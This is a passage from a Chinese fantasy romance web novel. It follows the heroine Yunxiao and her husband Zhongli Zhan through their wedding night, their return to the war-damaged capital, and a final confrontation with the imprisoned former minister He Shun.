云绡知道这会儿是亲不上钟离湛抽筋的嘴巴了,她也直起身子,将双手合在身前,学了宫中的礼节,朝钟离湛微微屈膝:“向夫君拜首,云绡此生,绝不骗你。” 钟离湛头都低下去了,听见她的许诺后又抬起眼眸:“这句话不会就是骗我的吧?” 云绡眉目弯弯:“你猜?” 他才不猜。 钟离湛心道,便是欺骗,他也认了。 二人相视一笑,就在这不算大的梅花林中,在红梅最后绽放的一夜,面对彼此,坚定地弯下腰,向对方承诺。 - 云绡摘了许多花带入了水上楼阁内,那里头有夜明珠照亮,云绡将梅花都放在夜明珠旁边,既能欣赏梅花的美,也能借着这点儿香气掩盖满库的珠玉宝石的气味。 水上楼阁内只有一张床,还是玉砌的美人榻,他们今晚只能在这里休息,所以云绡也拿了许多夜明珠放在美人榻周围,将美人榻勾了金丝镶嵌宝石的花纹缝隙里,全都填满了红梅。 钟离湛双臂环胸看着她忙里忙外,心内一阵满足。 这里不通外头的冷风,不论四季如何,在钟离湛的设下的禁制里都是温暖的。 云绡忙活了半天身上起了薄薄的汗,她脱去了大红色的半臂,将头发挽起,回头朝钟离湛嗔怒地瞪了一眼:“你怎么就站在那儿不帮我?” 钟离湛心中大呼冤枉,他一开始见云绡布置的时候也动手了,结果他放的夜明珠位置她不满意,他簪的梅花她也觉得丑,甚至一巴掌拍在了他的手背上让他退三步。 现在倒是嫌弃他没帮忙了。 钟离湛嘴一扁,学着云绡以前装可怜的样子眨巴眨巴眼,一脸委屈:“我帮你,你还会打我吗?” 云绡眼睛都瞪大了。 她打他?! 如果她轻轻拍了一下他的手背也算打的话…… 云绡双眸微眯:“当然……要打!” 要打两个字喊出来,云绡直接朝钟离湛扑了过去。钟离湛展开双臂接住他,少女借着他的力气一跳,整个人跳到了钟离湛的身上,双腿夹着稳住姿势。 钟离湛托着云绡,云绡的手里还有一枝梅花,那是梅花盛放的枝头,枝丫柔软。 云绡将枝丫打在了钟离湛的胸膛上,花瓣簌簌落了两人一身,云绡就这样居高临下地看着他。 她丢开花枝,捧起钟离湛的脸,近距离地盯着他的双眼道:“你再扁嘴给我看看,变回方才那无辜的,一看就让人忍不住想要欺负你的模样。” 钟离湛的狐狸眼危险地眯起:“你看我这样可怜,竟想着欺负我?我当初看你这样可怜,想的全是疼爱你。” 云绡的声音放低,人也更凑近道:“我说的欺负,也算是疼爱。” 最后的话语淹没在她贴向钟离湛的唇齿间。 钟离湛昂着头,在云绡吻过来的那一瞬就闭上了眼睛。他舔舐着云绡,沉溺于她身上美好的气息,和怀中柔软的身体中。 云绡揽着钟离湛的肩膀,渐渐地失去了所有力气,只能让他的双臂承受自己全部的重量。 暗室的玉床有些硬,和云绡躺在山洞里的石床一样泛着些许冰冷的温度,不过玉很容易就被人的体温温暖,所以没过多久云绡便大汗淋漓。 她曲着腿,仰躺在玉榻上,双手无处安放,只能紧紧地抓着钟离湛的肩。 钟离湛头顶上的花冠失了水分,稍微有些动作便容易掉落,一片片红梅花瓣落在云绡的腹部,还有几片划过她的胯骨,掉在玉榻上。 暗室内的水声和山洞里的叮咚声不同,暗室里的温度也与山洞里的温度不同。 在这里他们的每一次呼吸都像是能吐出一团轻薄的白雾,极度安静的环境下,便是一个心跳都如重响,其他声音更是被无限放大。 云绡听着这叫人面红耳赤的声音,迎接着钟离湛意乱情迷的亲吻。 汗渍和水渍浸湿压在二人身下的衣裳。 云绡被人钟离湛揽入怀抱,坐在他腿上时只觉得身上忽而传来一丝冰凉,片刻清明叫她看清楚了钟离湛在做什么。 暗室里有一件珍珠和玉翡珠子串在一起的云肩,也不知何时被钟离湛摸到手,这个时候披在云绡的身上,半明半暗,半遮半露的暧昧至极。 云绡不知他为何这样做,下一瞬颠簸起来,身上的珠翠发出清脆的撞击声,丁零当啷的。 飞扬的珠穗轻轻打在她的身上,不疼,却痒得令人心底发慌。 钟离湛还像是邀功一样问她:“这样是不是就听不见我们的声音了?” 云绡恨得张嘴咬在钟离湛的肩上,声音颤抖道:“坏蛋!” 这种声音更羞耻了好不好?! “你好美。”钟离湛才不管云绡咬他有多深。 那点儿疼痛反而让他更兴奋。 他吻着云绡的耳鬓,温柔又执着地将人禁锢在怀中,不 断重复:“好美啊,绡绡……你好香。” “哪里都香,哪里都软……热乎乎的。” “……好舒服。” …… 这是他们真正意义上的洞房花烛夜,云绡也是在这一夜才知道,钟离湛之前还是有所保留的。 他若强势起来,云绡连一根手指头都掰不过他。 - 云绡和钟离湛在符玉城内住了好几天,直到符玉城中原本不远万里跑去京都打算向新帝请求将东洲还给曦族的几位老者都回来了。 这还是云绡自意识仙境里出来之后,第一次听到关于京都的消息。 京都生变的那一天,一双黑云巨手将云绡握住带离了众人视野,京中所有看见这一幕的百姓都说是天神不满凡人的反抗,将带头为苍生谋求生权力的圣女带走了。 京都有人坚信圣女是不伤之身,不会被天神所杀,可也有人望眼欲穿没等到圣女归来,心中惶惶不安那样的塌天末日是否还会再到来。 那场浩劫将京都城毁了大半,便是皇宫也没剩下多少完好的宫殿,即便云光憧不想,也还是暂且搬离了京都的城池,在连玉州中的耀城暂且落住。 权贵跟随着云光憧离去,只有一些寻常百姓还在废墟中修修补补,希望能早点过回平静的生活。 与那日天塌一样的场景和生死擦肩比起来,他们过去所经历的一切麻烦,也都不再像是挫折。 仲卿重回到神霄塔,成了凌国的国师,他测算了圣女归来的时间,也让谣言不定的京都暂且没那么多人心惶惶的噩耗。 诸多繁杂事情夹杂在一起,东洲的几位老人这个时候向云光憧提起希望将东洲还给曦族,云光憧根本无心管这些事。还是正准备与皇帝辞别的沈旨听见了,主动找上了那几位老者。 当初将东洲划分到湖族也是司徒音璃的主意,司徒音璃一死,古殿长老变成了一盘散沙。 他们在司徒音璃活着的时候凝聚在一起扒在司徒音璃的身上如同血蛭一样剥削司徒音璃的能力,时间久了,他们在湖族老派氏族中除了有名望之外,不修自身,也没什么本事,被拉下高台也不过是迟早的事。 如今的沈家和司徒家都归他沈旨说了算,沈旨做主,将东洲还给东洲的百姓,他本来就对侵占他族领地没有丝毫兴趣,况且……今后还有没有五族之分,也难说。 这一次来京都,沈旨算是来值了,他看了一场精彩绝伦的好戏,也解了困扰心中多年的疑惑。 他从未和人说过,其实他去过一次渡仙城,见到过何舜想要让其长生的谢尧钰。谢尧钰当时看出了他身体里的神鬼蛊,也似乎能看见沈旨的善意和微末功德,当时他以为沈旨会坐在渡仙城中代替他承受接下来无尽的孤寂和长生,所以他将所有能说给沈旨听的,都告诉他了。 谢尧钰想要让沈旨避开与他相同的结局。 沈旨的心思却不在谢尧钰的警告上,他只是疑惑,原来这世上真的有神明,原来这世间许多无可奈何,也都是那些神明的手笔。 他期待有一天又能打破这场僵局,所以在望月山上看见云绡的那一瞬,沈旨便对云绡抱有他所能倾尽的一切善意。 他猜到了云绡会是那个人,他坚信云绡就是那个人……故而云绡请他帮忙,他毫不犹豫就答应。 在离开京都之前,他去见了一眼何舜。 那日天祸结束,何舜被当成灾星关押了起来,沈旨虽然与他只有一面之缘却也知道凭着何舜的本事,若他想逃,就一定能逃走。 沈旨对何舜没有恶意,何舜在他身上种下神鬼蛊,也同样给了他一颗神鬼蛊,他和何舜之间没有仇怨。沈旨只是单纯地有点讨厌他,因为何舜身上杀戮的血腥气太深太重了。 见到何舜的时候,沈旨看见了他被人耻辱地剥去了衣裳,将浑身烂泥一样狰狞的皮/肉露了出来。 沈旨虽然不恨何舜,但很显然云光憧觉得京都这些糟心事都是他带来的,若非仲卿说云绡要何舜的命,云光憧早就将何舜大卸八块了。 如今他只是在自己能做的事情中,找了个最折磨何舜的方式出气。 沈旨本来是想过来问他,他配合云绡演这一出戏,将自己多年经营的一切都抛弃,甚至舍去性命,那他想要的结果,有答案了吗? 可看见何舜此刻的模样,沈旨到了嘴边的话转了个疑问:“我能为你做什么?” 他不是落井下石之人,沈旨的本性仍是善良的底色。 何舜一怔,道:“你回湖族前,经过东洲,请帮我找到云绡,告诉她,我在京都等她,她来之前,我会一直活着。” “你怎知她就在东洲?”沈旨愣了瞬,他想起东洲是钟离湛的故土,而何舜想要的,一直都是复活钟离湛。 何舜道:“她就在那儿,她若活着,就一定在那儿。” 沈旨没说好,他不确定自己能否碰到云绡,但他在离开前将自己的外袍披在了何舜的身上。 第153章 云绡没有碰见沈旨,在沈旨坐船路过东洲时,云绡已经在回去京都的路上了。 东洲的几名老者带来的京都消息,和云绡猜想中的差不多。 云绡之所以没有那么快回去……一来,她想让京都的百姓急一急,别让他们觉得她云绡平定这一次风波是件很简单的事。她回去得越晚,给足他们遐想的空间,那她的归来才越能引起众人的喝彩与欢呼,还有庆幸。 当然,这个时间也不能拉得太长。人的忘性很大,一旦身边有其他重要的事情冲散了他们心中对这次灾难的恐惧,那云绡的回归也就不疼不痒,顶多博个好名声,那儿能有救世主的风头? 二来嘛……云绡不想回去被烦,也不太想受苦。 京都已经被摧毁成那副模样,想也知道皇宫里头是住不了人的,加上城中许多地方都需要重新盖建,最让人焦头烂额的便是动工前的计划。 云绡身为此番拯救世人的“圣女”,她过早地回去这些事又如何能不参与进去?到时候一个房子面朝哪边恐怕都要向她来问一句,太烦人了。 云绡索性就和钟离湛在东洲躲懒,再过一段蜜里调油的日子,等到京都那边已经开始动工盖建,各族重要的人物也启程要回归本族,云绡再在人们的千呼万唤中回到京都。 她的存在,便会坐定凌国接下来的盛世繁荣。 云绡虽然请各族人来帮忙,却不太想在事后面对他们的质问。当时能来京都的多少都知道京都变故与她有几分关系,纵使他们都愿意与云绡为善和睦相处,可也架不住他们内心好奇。 他们期待能在京都再见云绡,势必会久留一段时间。 云绡不知要如何解释,错开归时,也避免了与他们会面的机会。而他们回到自己的族内再听京都变故的传闻传至凌国上下的大街小巷里,对自己能够死里逃生的际遇,总要念着云绡几分好。 想必之后的他们再来京都的机会也不多。 算好了回程的时间,云绡和钟离湛都没耽搁。 临行前,云绡在钟离氏老宅外头也设了个禁制,若今后有人想要翻墙或破门而入,闯入的便是一个荒凉仅一口古井的枯院,四下无门也无窗,如鬼打墙般,非得要半条命才能出来。 人心叵测,云绡不能确定她和钟离湛不在符玉城的时候,是否会有人继续打钟离氏老宅的注意,又或者想着进去寻找宝藏之类。再或者……会有人为了扩大自己生活的环境,一再缩减老宅的占地。 她从钟离湛那里学会的术法,总得用在需要的地方。 至于老宅水上楼阁中的宝藏,云绡也没全都带走,她从其中拿了两块金砖和两颗东珠打算回去送给仲卿和徐容靳,这一次他们可算是帮了大忙,总得犒劳一二。 云绡给自己也拿了点儿零碎的小玩意 儿,主要冲着颜色鲜艳的宝石去,她喜欢这些东西,打算用这些宝石给自己做一副重要场合所用的头面。 她不知道,钟离湛也带走了一样东西。 也是后来都快到连玉州了,二人在某家客栈内的浴桶里正鸳鸯戏水呢,钟离湛听着哗啦啦的水声十分意动,便在云绡神思飘然之际,给她披上了珠玉云肩。 云绡看着身上那在符玉城老宅内陪了她许多个夜晚的云肩,当时就清醒了。她瞪大了眼睛不可置信地看向钟离湛,质问的话还没说出口,便被他撞得语不成调了。 “绡绡不喜欢?”钟离湛抚摸着她绯红的脸颊道:“每次你穿着时,总是很快就到……” 云绡这一下没咬在他的肩膀上,而是对着他那口吐狂词浪语的嘴咬了过去。 而后……钟离湛便顶着三天破了的嘴角。 云绡甚至想对他说,把那个破云肩给扔了!可看着上面华丽的颗颗圆润大小相同的珍珠,还有毫无杂质色温通透的玉翡,云霄还是舍不得地把话吞了回去。 她只能委婉地告诉钟离湛,这云肩不能经常穿,他每次都会在她穿云肩的时候力度失控,再几回下去,肯定得坏。 后来钟离湛的确珍惜着也不是经常给云绡穿,云绡还以为他听进去了。 实则钟离湛只是在想他钟离氏老宅里的那些珍珠和玉石合在一起共计可以做多少同样的云肩?那至少得在新云肩到来之前,旧的这个省着点儿用了。 当然那些都是后话。 - 惊蛰之前的第三日,云绡和钟离湛抵达了京都城外。 本以为此番回来至少入城之前会悄无声息,云绡却没想到城外已经聚集了许多人。 为首的那个高大威猛,脸上带着铜制的面具,看上去气势有些骇然。不过在看见骑在马上的云绡和钟离湛时,那张可怖的脸顿时露出小孩子才会有的憋哭的委屈。 云绡看了一眼落在徐容靳肩侧的乌鸦,也就知道他的小乌鸦们每天都在京都周围巡视,想要找到她的身影。 这不,一听到乌鸦说见到了云绡,徐容靳就马不停蹄地过来了,他甚至都没来得及去和仲卿说。 至于他身后跟着的那些人……纯粹是徐容靳的外在太特殊,都知道他是仲卿仙师的义子,平日里十分冷漠也不和人说话,今日破天荒站在城门前就盯着一个地方不动弹,他们生怕会有什么不好的事情发生。 这才来凑热闹的。 跟着徐容靳看热闹的那些人也不全都是认得云绡,彼时天色昏暗,恐惧之下很多人也都只看见了她的一道身影,未看清她的面容。 且彼时的云绡身着华贵的衣裳,她的一番话叫她周身都镀了一层光晕,和眼前看上去的纤细少女完全不一样。 徐容靳的眼泪一路憋到了住处,才忍不住地落下来,他背过身去偷偷擦拭。 这个时候仲卿也总算是听人传言有哪位公主回来了,还让他的好儿子亲自去接的,便也急忙赶来。在临时搭建的营帐内,仲卿见到了云绡。 云绡看见小老头又是一身暗紫色的道袍,衣裳用料极好,做工精致,发冠金雕玉砌,三千银发也被保养的顺滑,简直就是回到了云绡最开始在神霄塔内看见他的那副冷清高贵的仙师模样。 云绡暗自咂舌,真是人靠衣装。 仲卿和擦完眼泪的徐容靳偷偷打量了云绡,确定她没有缺胳膊少腿又或是受伤的模样,放下心的同时也提了一口气。 两道视线齐刷刷地朝云绡身边的高大男子看过去。 钟离湛穿得都没仲卿和徐容靳华丽,他一身暗纹玄衣,墨发被橙红色的发带高束着。钟离湛虽是个极为罡正之人,可因为脸上那双狐狸眼显出了几分邪肆,加上他颇有些站没站相的样子,双臂环胸整个人斜倚在营帐撑柱上,眸光是睨着人的,就更不像个好像与的了。 徐容靳还好,毕竟他早就见过钟离湛无数回了。只是以前他的眼睛看见的是钟离湛的灵魂,总有种朦胧雾感,是虚非实,而今天他见到的钟离湛连从他身侧走过的气息都那么强烈,威严得很。 仲卿则是第一次看见传说中的曦帝人皇,他看钟离湛哪儿都要在心里惊叹一番。 哗!好高的身量! 哗!好强大的气势! 哗!他额头上还有神印! 哗!他朝自己看过来的那一眼……好像有些嫌弃。 仲卿收回了自己的目光,所有激动在这一刻都变得有些战战兢兢的,他小步地挪到云绡身边,问她:“你去哪儿了?” 云绡:“……” 所以现在才看见她是吗? 云绡哼了声,掏出金子和大珍珠往桌案上一放,果然在这两样东西面前,眼前的二人再也没多看钟离湛一眼,视线立刻就被吸引过去了。 云绡道:“我本来是打算用这两个东西犒劳你们俩,毕竟你们在京都需要扛事儿挺辛苦的,但我看你们一个衣冠楚楚,一个道貌岸然,很显然不需要嘛!” “要的要的!”二人异口同声。 云绡这话,顿时将他们之间那若有似无的距离感给拉了回去。 仲卿深知经过上次京都祸乱之变化,云绡的身份不可同往日而语,他料不准自己该用什么态度与云绡说话,更何况她身边还杵着个煞神! 虽说曦帝的污名被洗刷,可钟离湛不论从哪个角度看都不像是没杀过人的样子,仲卿心里还是很怵。 现在他不怵了。 云绡还是那个好云绡。 高高兴兴地收了金子和硕大的东珠,仲卿才想起来要请云绡和钟离湛坐下。 临时搭建的营帐内并不奢华,也只有寻常的座椅板凳,仲卿原本还担心曦帝人皇会不习惯这里的简陋,不过看钟离湛没有怨言跟着云绡一起坐下,也松了口气。 一杯茶泡好,仲卿和云绡说起了京都这两个月来发生的事。 那些零零碎碎其实也不必再提,云绡早就在沿途的路上听说了,和她原本料想到的各族情况其实大差不离。 曦族的几位老者是意外卷入的,那是钟离湛两千多年前就已经解放了的族人,最接近凡人真正的样子,云绡本就没打算将他们也一并带入到这场是非中。 当时京都生变的时候旖族率先想到的是离开也是人之常情,徐容靳并没有因此就扣下同生符,反倒是因为事后他给了同生符,叫杨珩宁心生惭愧。 摘星楼里谁也没走,只有他走了,说他不是贪生怕死也是假话,他就是害怕自己在意的爱着的人会死在那场浩劫中。 但经此一事,杨珩宁深觉云绡言而有信值得推崇,临行前还特地向徐容靳保证,他们一定会好好宣扬一下圣女的无私奉献、丰功伟绩。 云绡:“……” 想必很长一段时间之后,旖族女子会渐渐发现,她们已经没有了那蛊惑人心的力量了。 这些被钟离湛化解的“神明赐福”,需得三代人慢慢才能消化完毕。 徐容靳处理旖族之事游刃有余,但在面对徐容朝的时候便有些力不从心了。 徐容朝非要带他回若川,徐容靳不想回去。 徐容朝却道:“二哥,宫墙深深,阶级分明,这里的人斗智斗勇,都长着一颗七窍玲珑心,你玩儿不过他们的。如今祖父未必会醒,这世上就只有你我是至亲血脉,你跟我回若川吧,大哥曾经犯下的那些错,我们慢慢去弥补,那里才是你我的家。” 徐容靳不知要如何反驳徐容朝,他的确不聪明,若与这些京都权贵动脑经他一定占下风。可他也不想去若川,对他来说,那里已经没有任何可以留恋的地方,那里也不是他的家了。 祖父从来都只是徐容朝的祖父,他若以一个曾经犯了错的罪人,如今弥补归来的姿态回去,便要受若川所有人的指责和监督,甚至还要为了维持表面父慈子孝的虚假, 唤那个恶毒的女人母亲。 徐容靳没说话,仲卿把徐容朝打发了。 “哎?老夫捡到他时,他就差一口气了,他的命是老夫救回来的,他也向老夫承诺今后要给老夫养老送终。”仲卿对徐容朝挑眉:“怎么?你一句话让他跟你去若川,他欠老夫的这条命谁来还?” 徐容朝怔愣,徐容靳深吸一口气,也顺话道:“过去的徐容靳早就死在火海里了,你欠我的,这一次还清,我欠若川的,今后会用自己的功绩来表心。” 徐容朝临行前并未完全放弃劝说徐容靳的心,他想着待到京都重新修整好了,云光憧定然也要将他们这些曾经共同面临浩劫之人再召回一起,商讨那日所见天塌之祸的由来和将来的应对之策。 那个时候,徐容靳应当也已经清醒了。 徐容朝以为,自己曾经来过京都,他见识过京都王孙贵族们的傲慢和可恶,他怕徐容靳会与他经历相同的事情,但有些事若不让徐容靳撞一回南墙,他也不会痛到回头。 云绡对于徐容朝的心思无话可说。 毕竟貌似曾经给徐容朝带去最大伤害的人,就是她,这叫徐容朝一朝被蛇咬,十年怕井绳。 警惕些才好,云绡想,警惕些也聪明些,以后就不会再被人欺骗,也不会再被人欺负了。 至于沈旨……这是云绡最省心的一个。 直至此刻,云绡也不知道沈旨那莫名其妙的好感从何而来,他对云绡和云绡身边的人都很友善,云绡提的要求他也想都不想地答应。 徐容靳道:“那日天都快塌下来了,我心底发慌站不住了,他还老神在在的坐着,一点儿也不忧心呢……这沈旨真是个神人。” 仲卿忽言:“也不难理解,如若他从来都没想过活,自然也就不畏惧死。” 徐容靳被仲卿这话说得一愣:“他整天笑眯眯的,看上去不像是要寻死觅活的人啊。” 云绡也不懂不想活的人应当是什么样子,她虽见过一个谢尧钰,可云绡并不认为谢尧钰想死,他只是想解脱,而死是他解脱的唯一方式而已。 仲卿看这两个都是一脸茫然,便解释道:“真正想死的人,不会寻死觅活,他会悄无声息地消失。沈旨身上没活气儿,他死也可以,活也可以,能支撑着他一直活着的,大约就是他的善心吧。” 当时沈旨对仲卿说的是:活着,或许可以多帮一个人,那便先活着吧。 云绡挑眉:“你好懂哦,你曾也这样?” 徐容靳酸溜溜道:“还是你们长得像,能心意相通?” 仲卿:“……” 要不是钟离湛在这儿,他就要撒泼骂人了嗷。 可事实上曾经钟离湛也在,只是没有这么强烈的存在感而已。 仲卿道:“他离开京都时我见过他一面浅聊了片刻,他在离开前去看望了何舜,真奇怪啊,他对何舜这种人居然也有本能地善意……” 仲卿顿了一下,锤了一下手:“沈旨说,何舜一直在等你!” 仲卿看向云绡。 而云绡挑眉,侧眸看向身边的钟离湛。 等她? 何舜心心念念的,肯定得是钟离湛啊。 第154章 仲卿和徐容靳并没有在营帐内待太久。 云绡和钟离湛风尘仆仆地回来,总需要好好休整一番,仲卿也得去找云光憧商讨该如何昭告天下云绡归来的事宜。按照他的想法,总得举办一次盛大的仪式才行,至于最开始仲卿和云绡心照不宣的想法,此时并非谈论的最佳时机。 只需要一个眼神,他们都默契地没有再提。 女帝之位并非那么容易就能达成,至少在人族的历史上从未有过,而那位旖族历史上的女帝在位时期不长,也没留下什么好名声。 按照云绡和仲卿的计划,其实云光憧应当在京都险些沦陷的时候就该逃跑了。那个时候云绡再顺水推舟地成为救世主,加上她之前给自己设立的名声与命运,便能在所有人的支持下顺理成章地成为女帝。 但事实上君子论迹不论心,且不管云光憧留在京都到底是知道自己逃不掉还是为了身后名,至少他在彼时起到了一个很好的鼓舞作用,而云绡给仲卿安排和何舜对峙的话,也都被云光憧说完了。 他不是个贪生怕死的帝王,虽资质平平容易被人蛊惑,可要是有人看管着,也定然比那些贪功冒进的要更稳妥,不容易出错。 何况云光憧在京都之变上亦占足了民心,云绡没打算在这个时候将他从帝位上拉下来。 她另外还有重要的事情要做。 仲卿和徐容靳离开营帐后,云绡才认真地看了钟离湛一眼。 她问:“方才仲卿说的,何舜如今还在天牢里等着你去,你要不要见他一面?” 钟离湛回忆起了和云绡的所有过往,那些被云上巨人刻意从他身体里剥离而模糊的回忆也渐渐变得清晰,钟离湛对何舜的想法,便和当日在京都再一次看见他时有些不同了。 彼时钟离湛的身体还被困在天祭台下,何舜在知道他的魂魄就在云绡身边时那一番剖白并没有叫钟离湛有多理解他。在钟离湛的心里,任何理由都不能成为何舜在日积月累中变成了一个和过去的他的理想完全背道而驰之人。 但钟离湛回忆起他和云绡的过去,自然也就回忆起了在他失去记忆的那段时间里,何舜为他背负的责任太多。 彼时钟离湛其实也不完全算得上一个称职的帝王,他迫切地想要在自己的生命终结之前改变现状,并不在意民间关于他的流言如何沸沸扬扬。何舜想要在那种情况下维持照国的稳定,本就是一件不容易的事,那些氏族对钟离湛的谩骂,人群里对钟离湛的质问,也都是何舜和洛锦扛在前头的。 钟离湛设身处地地想,在那种情况下何舜会被云上巨人的梦境迷惑,也在情理之中。 可他后来越来越极端地做出了那么多错误的选择,钟离湛仍然无法寻找任何理由替他开脱,对就是对,错就是错。 钟离湛之前以为,他和何舜之间的因果已了,但只要何舜对于见他一面,亲自向他解释一事仍有执念,那就不算真的了断。 所以钟离湛还是决定去见他一面。 - 地牢内的环境很恶劣,云光憧为了折磨这个险些害他灭国之人,将地牢内灌了水,水没过人的脚踝,牢狱中没有任何可以让人躺下的地方。 他灌入的水量刚好让何舜不能躺下睡觉,又不会在他坐入水中的时候给他一些身体上的庇护,让他看上去别那么狼狈不堪。 沈旨临行前给何舜的外衣很快就被人拿走 ,他仍然是赤条条地坐在地牢的角落里,一双眼木讷地看向一口小小窗户上的光芒映入水面中的倒影,他靠着这些光来算自己的时日。 何舜身上的能力都是被云上巨人赋予的,而云上巨人悉数陨落的那一刻他亦有感受,那些曾经高高在上的天神赐予他的长寿之力正随着时光迅速流逝。他根本没有几十年的将来,他甚至未必还能有几十天。 何舜的发丝已经花白,沾染着赃污的水迹,湿漉漉地贴在皱巴巴的身上。 他一直在咬牙坚持着,希望沈旨能见到云绡,能将他的话带到! 何舜的心中有许多不甘,在这些天的煎熬里,他的心每日都被热油烹煮,他有无数句解释的话想要诉说出来,从他第一次做梦开始,也从他第一次去利用一个好人的善良开始…… 地牢的水面中晃动着火光,何舜忽而一怔,他从那些火光和阳光的倒影里看见了一个人影,很模糊,但他一眼就认出来,这是他等了两千多年的人! 何舜生怕这是他濒死前的一场幻觉,他连忙抬头去看,便对上了钟离湛的目光。 钟离湛和过去的他似乎有些不同了,何舜有那么一瞬怀疑,眼前之人是否是他人的障眼法假扮的。 在何舜的记忆里钟离湛的气势并没有这么柔和,他是雷厉风行的曦帝,身处高位,总有睥睨苍生之威。 何舜险些问出了“你是谁”。 可下一刻他又万分确定,眼前之人就是钟离湛。因为这世上唯一能以障眼法扮演钟离湛相像到这种地步的人就站在钟离湛的身后不远处,双臂环胸以闲适的姿态围观他们的相见。 云绡没上前打扰,她其实并不惊讶何舜变成了如今这副模样,或许是她天生心硬,云绡也不觉得何舜可怜。在她所看见的地方有谢尧钰,有渡仙城,有沈旨,有若川……在她看不见的那两千多年里,也有无数人的生命化作何舜手里的一粒尘埃,随着他的翻云覆雨而烟消云散。 那些人比如今的何舜可怜太多了。 她来,一是因为钟离湛不能离开她十步之外,二也是想要听听何舜到底想和钟离湛说什么,她很好奇。 何舜张了张嘴,曾经设想过无数遍的千言万语此刻都统统化作了虚无。钟离湛就站在何舜的面前时,他才突然反应过来,原来他的那些解释都毫无意义。 何舜坚持了两千多年想要的,就是看见钟离湛重新活过来。 至于他为何会死,而他有无背叛,他为了复活钟离湛究竟做过多少努力,其实都不必再提。 他想要的结果已经达到了,是云绡救了钟离湛,还是他救了钟离湛,都无所谓的。 所以何舜沉默了很久之后,只说了一句:“君上活着,真好啊。” 这一刻他就像是回到了大火弥漫假王宫的那一夜,他在发现情况不对时义无反顾地再度冲入了火海,而这一次,钟离湛完好地站在他的面前。 两千多年前被灼烧的皮肤在这一刻滚烫发疼,像是重新从他的身体上剥离开,鲜血淋漓地给予他无知的惩罚。 而何舜享受此时此刻的疼痛,这些疼痛鲜活地告诉他,他并非处于臆想和梦境当中,钟离湛真的重新活过来。 “可惜,这一次我不能陪着君上,完成宏图大业。”何舜亦有些失落。 钟离湛闻言,有些怒其不争,可还是叹了口气道:“何舜,这世上从来都没有我的宏图大业。” 何舜的心似乎停跳了很长时间。 手刃五族暴虐残忍的帝王,坐上曦帝人皇之位,解放数以万计的奴隶,甚至大力推行农耕、开山布路、在他管辖之内绝无不公,无欺凌……这些难道都不是他的宏图大业吗? 这些难道不都是他何舜跟随钟离湛,愿意以性命相付,一步步成为钟离湛值得信赖的臣子的原因吗? “君上似乎变了。”何舜道:“您少了野心与手段,多了平静和优柔。” 云绡闻言,冷哼了一声。 这叫何舜注意到云绡的存在,他的目光立刻落在云绡身上,恍然大悟:“是她改变了您的初衷。” “他是什么初衷?”云绡实在忍不住了,上前几步拦在钟离湛的面前,伸手捂住钟离湛的眼道:“别看他,多看一眼都要恶心得吃不下饭!” 钟离湛按下了云绡的手,他仍然直视着何舜的眼问道:“那是我的初衷,还是你后来的妄念?” 何舜愣怔,他呆滞地望着钟离湛,那双眼里写满了茫然。 “如果你想明白了这一点,就不会执着于非要与我见面。”钟离湛道:“同样,如若你想不明白这一点,我就算时时刻刻站在你面前,也无法平息你心中的不甘愿。” 云绡嘁出声:“你和他说得这么温和,他能听得懂吗?时间的确能改变一个人的本性,但他的心却不是在你死后更改的,他在你死去之前,心便已经变得麻木。” 云绡回忆起她第三次回到过去,附身在钟离湛身上时,入目所见第一眼就是何舜手起刀落地砍下了钟离湛祖母一支表亲的头颅。 他不知道那是钟离湛的亲人吗?他知道! 他甚至都没想过去问钟离湛一句便如此利落地出手,便足以证明当时何舜真正追随且坚信的,是他心目中的钟离湛。 他自以为自己了解钟离湛,知道即便他过问一句钟离湛也会将那些犯错之人处死,所以他便按照他理解的钟离湛行事。 钟离湛当然会处死那些人,但处死他们之前,是否能允许他们对至亲之人留下遗言? 钟离湛有何舜不了解的另一面,钟离湛并非只有杀伐果决绝对公正的本性,他也有柔软的、怜悯的、温柔的本性,否则他成不了后来的他。 云绡附身凑近何舜:“你说初衷?那你觉得他是因为想要五族一统天下太平而成就了宏图大业,还是为了宏图大业而想要五族归一天下太平?如若后者是他的初衷,他何必离开符玉城?用钟离氏嫡子身份去做这件事岂不是能得到更多人的支持?他又何必替你找你孩子和妻子的尸骨?反正诛杀垚帝的威名已经散扬出去了。” 何舜眼中的迷茫更甚,他想要反驳云绡,可他没有任何反驳她的方向。 他似乎真的在不知不觉中迷失了一些东西,而偏执去坚信自己想要相信的事物。 也正是因为他的盲目和偏执,才让那些梦境里的事变成了现实,才让他成为被刺钟离湛的最后一个人。 何舜摇头想要否认什么,可他也不清楚自己是否真的了解过钟离湛,他的思绪愈发凌乱,心跳也越来越快。 “我可不是心性不坚之女子,不会接受你的蓄意指责,当那个害得钟离湛再无称霸之心的红颜祸水。钟离湛也不是你以为的霸权之君,他一直诉求的,只有天下公正……若这世上人人都能吃饱饭,人人都能过上好日子,再没有至高的力量奴役他们生命,那天下由谁来当帝王,又有何区别呢?” 云绡说完这话,拉着钟离湛的手转身就走道:“让他自己想去吧。” 钟离湛也早已言尽于此,他和何舜之间再没有任何牵扯,对方想得通想不通,都与他没有瓜葛。 出了牢狱,阳光落在云绡和钟离湛的身上,驱散牢狱中带来的所有寒气。 他们站在光明之下,与过去所有羁绊彻底作别。 钟离湛见云绡还撅着个嘴,没忍住笑了声问:“怎么还把你气着了?” “我觉得他有病。”云绡嘟囔:“不!他就是有病!而且他演得也太好了吧?简直比我平日里表演起来还要入戏三分,尽职尽责地扮演一个千古功君身边忠勇无畏的臣子,他将他曾在垚帝身边当官时的所有幻想全都加诸在你的身上,他一点也不可怜!” 他就像那些话本里绝对衷心护主的老臣,以为自己伴随帝王成长便足够了解帝王的本性,帝王剑之所指便是他之所向,可一旦帝王并未按照他所预想的方向去做,便会将这一切怪罪在帝王身边的女人身上。 他没有错,帝王也没有错。 云绡哼 了哼:“错的是我呗?我让堂堂曦帝人皇爱美人不爱江山,将如今的凌国拱手送人了呗?” 钟离湛听她的怪腔怪调,笑声愈发爽朗了起来。 云绡回头瞥他:“你还笑!他刚才虽然只说了一句,可不就是那个意思吗?” 钟离湛没有收敛笑容,他抬手揉了揉云绡因为生气甩头而有些凌乱的发丝,安抚道:“我非昏君,你也非祸水,何必管他一个濒死之人的胡言乱语?我来见他,不过是不想他执念过深……” 主要的是钟离湛知道,若无何舜,或许也没有后来的云绡,他和他们之间终有一场因果在,而这场因果不了去,他也怕会干涉到他和云绡的来世。 云绡说得很对,何舜很会表演,他将一个忠臣演得忘我,把自己的妄念加诸在钟离湛的身上,迷失了他自己。 钟离湛和云绡最后都点拨了他一句,醒不醒,是他的自由。 